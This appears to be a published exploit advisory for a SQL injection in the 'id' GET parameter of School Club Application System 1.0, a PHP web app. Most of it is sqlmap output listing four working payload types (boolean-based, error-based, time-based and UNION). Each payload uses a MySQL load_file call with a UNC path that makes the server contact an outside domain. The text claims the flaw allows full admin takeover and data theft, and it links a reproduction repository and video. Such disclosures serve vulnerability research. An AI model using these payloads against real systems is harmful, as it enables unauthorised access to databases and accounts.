School Club Application System 1.0 SQL Injection

School Club Application System version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | 95a266a01a9dd252a3a9612f94c0b064

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## Title: School Club Application System v1.0 SQLi
## Author: nu11secur1ty
## Date: 04.07.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Club-Application

## Description:
The `id` parameter appears to be vulnerable to three types of SQL
injection attacks.
The payload '+(select
load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+'
was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: page=clubs/view_details&id=2'+(select
load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+''
OR NOT 2914=2914-- erOW

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: page=clubs/view_details&id=2'+(select
load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+''
OR (SELECT 2308 FROM(SELECT COUNT(*),CONCAT(0x7176787a71,(SELECT
(ELT(2308=2308,1))),0x717a6b7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VAfL

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=clubs/view_details&id=2'+(select
load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+''
AND (SELECT 8537 FROM (SELECT(SLEEP(5)))TWcu)-- jivn

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: page=clubs/view_details&id=2'+(select
load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+''
UNION ALL SELECT
CONCAT(0x7176787a71,0x7468764e617048694a74717a4f53734a6956786e7a4a56774b48427a7645474c414847756f704641,0x717a6b7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
-
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Club-Application)

## Proof and Exploit:
[href](https://streamable.com/lpwxr4)



Source: packetstormsecurity.com
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